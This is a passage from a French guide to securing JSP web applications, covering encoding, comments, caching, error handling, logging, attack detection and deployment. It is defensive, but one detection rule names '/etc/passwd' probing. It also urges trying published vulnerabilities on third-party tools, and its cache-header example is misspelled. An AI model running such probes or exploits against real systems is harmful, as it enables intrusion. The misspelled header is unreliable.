Si l’information est incluse dans une URL, il faut encoder les caractères % et &, supprimer les caractères de code ascii inférieur 0x30 et compris entre 127 et 256. Tous les caractères unicodes doivent également être encodés.
Pour que cela fonctionne, il faut encadrer chaque paramètre des marqueurs par des guillemets. En effet, l’espace ne fait pas partie des caractères traités par les filtres.
Nous voyons que ces différentes techniques ne sont pas simples à vérifier. Un symptôme de mauvais codage est l’utilisation des marqueurs standards : <jsp:getProperty/> et <%= %>.
Il est préférable de rédiger une nouvelle librairie de marqueurs, offrant un service similaire à <jsp:getProperty/> mais ajoutant un paramètre pour sélectionner l’encodage à appliquer (html, script, bodyscript, url, none)
<sec:getProperty property="script" type="html"/>
Ainsi, il est facile de rédiger un petit script recherchant tous les marqueurs suspects, l’absence de guillemets dans les attributs HTML et l’absence de code page. Attention, contrairement à ce que propose de nombreux frameworks, l’encodage des caractères < et > n’est pas suffisant.
Les commentaires
Les commentaires des traitements présents dans les pages JSP peuvent révéler des informations aux pirates. Ils peuvent révéler :
- la structure des répertoires,
- la localisation du répertoire racine du serveur d’application,
- des informations de déverminages,
- les structures des cookies,
- des problèmes de développements,
- les noms des développeurs,
- leurs e-mails et leurs téléphones.
Les outils de génération automatique peuvent révéler, par les commentaires génériques, l’architecture du serveur, les versions des outils utilisées, etc.
Il faut faire attention à utiliser des commentaires qui n’apparaîtront pas sur la page de l’utilisateur.
Il est préférable de supprimer tous les commentaires sous toutes leurs formes lors du déploiement. Comme cela, si un pirate arrive à obtenir le source d’un fichier JSP, il n’aura pas d’informations complémentaires.
Les différents formats des commentaires dans les pages sont :
- <-- --> pour le corps HTML
- <%-- --%> pour le corps JSP
- // et /* */ dans les javascripts et les scripts java
Gestion des caches
Les pages des navigateurs traversent différentes couches techniques dont des proxies s’occupant de mutualiser les navigations des utilisateurs d’une entreprise, en gérant un cache partagé.
Cela améliore la navigation car l’utilisateur peut bénéficier de la consultation d’un site par une autre personne de l’entreprise.
Cela a un impact sur la sécurité. Si une page est considérée comme personnelle, mais qu’elle est gardée dans le cache de l’entreprise, tous les employés peuvent la consulter.
Il faut indiquer, pour toutes les pages privées du site, différents en-têtes pour demander aux proxies et aux navigateurs de ne pas les cacher.
// Pour HTTP 1.0
Pragma: No-cache
Expires: 0
// Pour HTTP 1.1
Cache-controle :
no-cache, private, no-store, max-age 0
La publication du site
Lors de la publication d’un site, les développeurs recopient généralement la structure de répertoire de l’environnement de test dans le répertoire de publication.
Il est possible que certains fichiers soient alors publiés par erreur. Il n’est pas rare de trouver des fichiers back des pages JSP. Cela permet à un pirate d’obtenir le source d’une version très proche de la version actuelle. Ces fichiers peuvent contenir des mots de passe de la base de données ou d’autres informations confidentielles.
Il ne faut pas que les répertoires contenant des pages de script serveur possèdent des droits en écriture.
Les fichiers de démonstrations ou les documentations des produits ne doivent pas être présents sur le serveur HTTP. Il existe de nombreuses failles dans les démonstrations permettant à un pirate de faire ce qu’il désire.
Nettoyez systématiquement le répertoire de publication de tous les fichiers n’ayant pas à y être.
Il faut faire très attention aux différents fichiers publiés par un site. Il reste souvent des fichiers d’archives, des fichiers de sauvegardes (*.bak, *~, *.tmp) ou d’autres documents.
Gestion des erreurs
Qualité des messages
Les messages d’erreurs remontant vers l’utilisateur sont souvent trop diserts. Un pirate peut connaître le système d’exploitation, la structure de répertoire du serveur ou la structure de la base de données à partir de ces messages.
Il faut catégoriser précisément toutes les exceptions et vérifier la pertinence des messages. Il ne faut pas transférer un message d’erreur d’une exception vers une autre, car alors, il n’est plus possible de catégoriser les exceptions pour adapter le message. Par exemple, récupérer le message d’une IOException pour le passer dans une autre exception ne permet plus de savoir s’il faut afficher le message.
Il ne faut pas oublier d’encoder en HTML le message d’erreur lors de son inclusion dans la page d’erreur.
Capture des exceptions
Les exceptions doivent être correctement gérées. Il ne faut pas capturer une exception et l’ignorer. Cela empêche le développeur de comprendre le problème, et permet à un pirate de forcer des comportements incorrects sans que cela soit détecté.
Ne jamais capturer une exception sans y apporter un traitement pertinent permettant de stabiliser l’application.
Toutes les pages JSP devraient avoir un marqueur <%@ page errorPage= "error.jsp" %> ou bien, le serveur d’application doit avoir été correctement paramétré pour afficher une page d’erreur générique, sans possibilité d’injection de javascript et sans transmettre trop d’informations.
Fichier de log
Les attaques des pirates doivent pouvoir être analysées. Pour cela, il faut obtenir des logs plus ou moins riches suivant les utilisateurs ou les périodes.
Si le fichier de log est accessible par le serveur HTTP, le pirate peut y puiser des informations ou y injecter du code qu’il pourra essayer d’exécuter.
Ajoutez un attribut aux utilisateurs pour pouvoir enrichir les logs le concernant (trace de tous les paramètres associés à chaque requête)
Prévoir un paramétrage spécifique des logs pour les événements de sécurité.
Le fichier de log doit être dans un répertoire différent de la hiérarchie du serveur HTTP. Il est préférable d’enregistrer les logs sur un périphérique à écriture unique et lecture multiple comme un graveur de CD-R. Ainsi, un pirate ne pourra pas les modifier.
A défaut, il faut effectuer un backup régulier sur un support permanent. La périodicité dépend du volume des logs.
Il faut enregistrer :
- Les réussites et les échecs de l’authentification (avec la cause de l’échec : IP, révocation, erreur) ;
- Les accès aux fichiers et répertoires sans autorisations ;
- Les réussites et les échecs pour accéder à des informations sensibles ;
- Les fonctions d’administrations ;
- La lecture, l’écriture et la modification de données.
Les logs doivent posséder l’heure et la date de l’activité, l’ID de l’utilisateur, les commandes et les arguments sauf s’ils sont confidentiels, l’adresse IP ayant initié la connexion. Les messages doivent être riches en informations de contexte. Le plus de détail est préférable, mais cela à un impact sur les performances. Il faut prévoir un niveau de log suivant la sévérité de l’information ou la source de celle-ci.
Les logs peuvent alimenter des outils de détection d’intrusion. Il faut que tous les logs soient synchronisés sur la même heure, afin de pouvoir les combiner.
Il faut enregistrer les comportements suspects et prévenir l’administrateur par l’envoie d’un e-mail et/ou l’utilisation de communication directe (SMS, ICQ, Sametime, …)
- Avant l’ouverture d’un fichier, vérifiez qu’il est présent et accessible en lecture. Un fichier absent peut renseigner les pirates ;
- Si une application est prévue pour un POST, signalez les invocations en GET ou PUT ;
- Si certains champs doivent être présents, signaler leurs absences ;
- Pour Unix, tous champs avec /etc/passwd doit être signalé. Cela est généralement géré par le pare-feu.
- Détectez de nombreuses requêtes par seconde depuis la même adresse IP. Un pirate doit utiliser un script pour trouver des vulnérabilités à l’application.
Pour garantir l’intégrité, les logs doivent être écrits sur un autre serveur. Celui-ci ne doit pas être sensible aux empoisonnements DNS ou ARP.
Les informations présentes dans les logs sont sensibles (date et heure des accès des utilisateurs, …) Elles ne doivent être accessibles que par les personnes autorisées et ne doivent pas êtres publiques.
Prévention
Détection d’attaques
Un code spécifique peut également détecter les comportements douteux d’un utilisateur. Cela peut alerter les administrateurs sur les correctifs à apporter. L’application connaît des informations qu’aucun outil générique de détection d’intrusion ne peut connaître. Ces informations peuvent être exploitées avec une grande efficacité afin d’arrêter ou de ralentir la progression des pirates. Des informations pertinentes peuvent être mémorisées pour servir de preuve lors d’un procès. Il est parfois nécessaire de vérifier des évidences.
Quelques attaques peuvent être détectées par l’application. Les pirates utilisent des outils permettant de rechercher des scripts connus pour leurs failles.
De nombreux tests peuvent prévenir d’une attaque, plus efficacement ou en compléments d’outils de détection d’intrusions. Suivant la violation de certaines assertions, le comportement appliqué est différent. Parfois, un simple log est enregistré, parfois il faut envoyer en e-mail à l’administrateur. Parfois, l’utilisateur ou son adresse IP est enregistrée dans une liste noire pour une période paramétrable. Cela limite les actions des pirates en exploitant les informations maîtrisées par l’application.
Le programme peut être enrichi des vérifications suivantes :
- L’utilisateur fait-il partie de la liste noire dynamique d’adresse IP et d’identification ?
- L’exception capturée est-elle conforme à ce que gère l’application ?
- Les champs des formulaires contiennent des patterns douteux ?
- Leurs tailles respectent les limites ?
- Les soumissions de formulaires correspondent à celles attendues ?
- Les invocations en méthode GET ou POST sont-elles conformes à l’application ?
- Les noms des champs des formulaires sont conformes ?
- Y a t’il trop de requêtes par secondes venant du même utilisateur ou de la même adresse IP ?
- Les profiles du navigateur et de l’adresse IP source sont-ils conformes tout au long de la session ?
- L’en-tête referer respecte t’il les contraintes de déploiement ?
- La session a-t-elle une durée de vie raisonnable ?
- L’adresse IP source correspond aux contraintes réseaux de déploiement ?
- Le passage de l’application en SSL est-il sécurisé ?
Des outils permettent d’automatiser cela.
Déploiement
La phase de déploiement est critique pour la sécurité de l’application. Des traitements peuvent vérifier que toutes les règles sont appliquées (nettoyage des fichiers publiés, mise à jour de la base de données, modification des droits des différents fichiers et répertoires, …)
Architecture
Un pirate progresse étape par étape. Lorsqu’il réussit à exploiter une faille de la première couche, il s’attaque à la suivante. Lorsqu’il a atteint la dernière, il a généralement réussi son exploit.
Dans une approche en plusieurs couches, il est plus facile de résister aux pirates. Les militaires appellent cela une protection en profondeur. Si une couche tombe, cela ne fait pas tomber les autres. Des pare-feux peuvent vérifier la communication entre les différentes couches. Un pare-feu est placé systématiquement entre chaque couche. Des outils de détection d’intrusions vérifient les comportements de chaque couche.
Outils tiers
Vous devez vérifier que les outils tiers respectent les règles de sécurité. Une vulnérabilité sur un de ces outils peut compromettre tous vos efforts pour sécuriser votre site.
Comment la boîte de dialogue demandant le mot de passe fonctionne ? Utilisez un sniffer pour voir le trafic réseau correspondant. Cherchez les failles classiques comme les débordements de tampons ou l’injection de SQL. Regardez dans les fichiers de configuration ou les bases de registre, regardez les fichiers avec un éditeur hexadécimal ou un dump ASCII/Unicode pour trouver les clefs de signatures, ou des paramètres cachés de déverminage. Recherchez sur Internet les vulnérabilités publiées sur ces outils, sur les autres produits du même vendeur ou d’autres produits du même type. Si vous en trouvez, essayez-les. Demandez au vendeur s’il garantit l’absence de débordement de tampon ou de risques similaires.
Configuration
Les fichiers de configurations possèdent de nombreuses informations intéressant les pirates. On peut y trouver :
- Le type du système d’exploitation
- Les outils utilisés et leurs versions
- Les paramètres de sécurités
- Des clefs privées
Il ne faut pas placer les fichiers de configuration dans un répertoire accessible par le serveur HTTP.
Utilisateur d’exécution
L’utilisateur du serveur d’application doit être un utilisateur particulier (www) afin de paramétrer finement les droits associés aux différents fichiers. Il ne faut pas lancer le serveur HTTP et le serveur d’application sous un utilisateur nobody.
Des failles du type débordement de tampon permettent aux pirates d’exécuter un traitement sous le nom de l’utilisateur du serveur d’application. Si les droits ont été correctement valorisés, le pirate sera freiné.
Intégrité
Les pirates veulent généralement démontrer leurs exploits. Ils modifient des informations sur le serveur, ajoutent des portes dérobées, etc.
Des outils permettent de vérifier l’intégrité d’un site par calcul de checksum sur les fichiers ne devant pas être modifiés. Ainsi, si un pirate arrive à faire un « exploit » en modifiant une page du site ou le noyau du système d’exploitation, cela est rapidement détecté.
Sauvegarde
Si le site a été modifié, il faut pouvoir le remettre rapidement en fonctionnement. Un processus de sauvegarde doit être appliqué régulièrement. Attention, les informations présentes dans les sauvegardes ont la même confidentialité que l’application. Les cartouches doivent être sécurisées.
Il est envisageable d’utiliser deux processus de sauvegarde différents : un pour les informations critiques (les clés de cryptages par exemple) et un autre pour les données moins critiques et plus volatiles.
Vérifiez que la documentation décrit précisément les informations archivées. Parfois les clés de chiffrement ne sont pas sauvegardées et les données ne peuvent être retrouvées ! Il faut également indiquer la sensibilité des données.
Conclusion
Par principe :
- Il ne faut jamais faire confiance à la partie cliente de l’application.
- Pour tous les langages générés (shell, SQL, javascript, HTML, etc.) il faut appliquer les règles d’encodages correspondants lors de la génération du code.
- Il faut vérifier et revérifier l’état de l’application avant d’y apporter une modification.
Il faut prévoir dès le début du projet de faire intervenir un expert en sécurité des développements. Il ne s’agit pas d’un profil du type « ethical hacker », mais d’un architecte expert en développement d’application ET en sécurité des sites internets. Il doit intervenir à différentes étapes lors du développement. Il intervient tout au long du projet par :
- La vérification de l’architecture afin de pouvoir intégrer toutes les règles de l’art sur le sujet. Cela évite de se retrouver dans une impasse sécuritaire lorsque le projet est terminé.
- La vérification, au cours de la réalisation du projet, que les règles sont correctement appliquées pour éviter les dérives sur le code en cours de développement.
- La qualification, en phase de test d’intégration, du niveau de sécurité atteint par l’application.
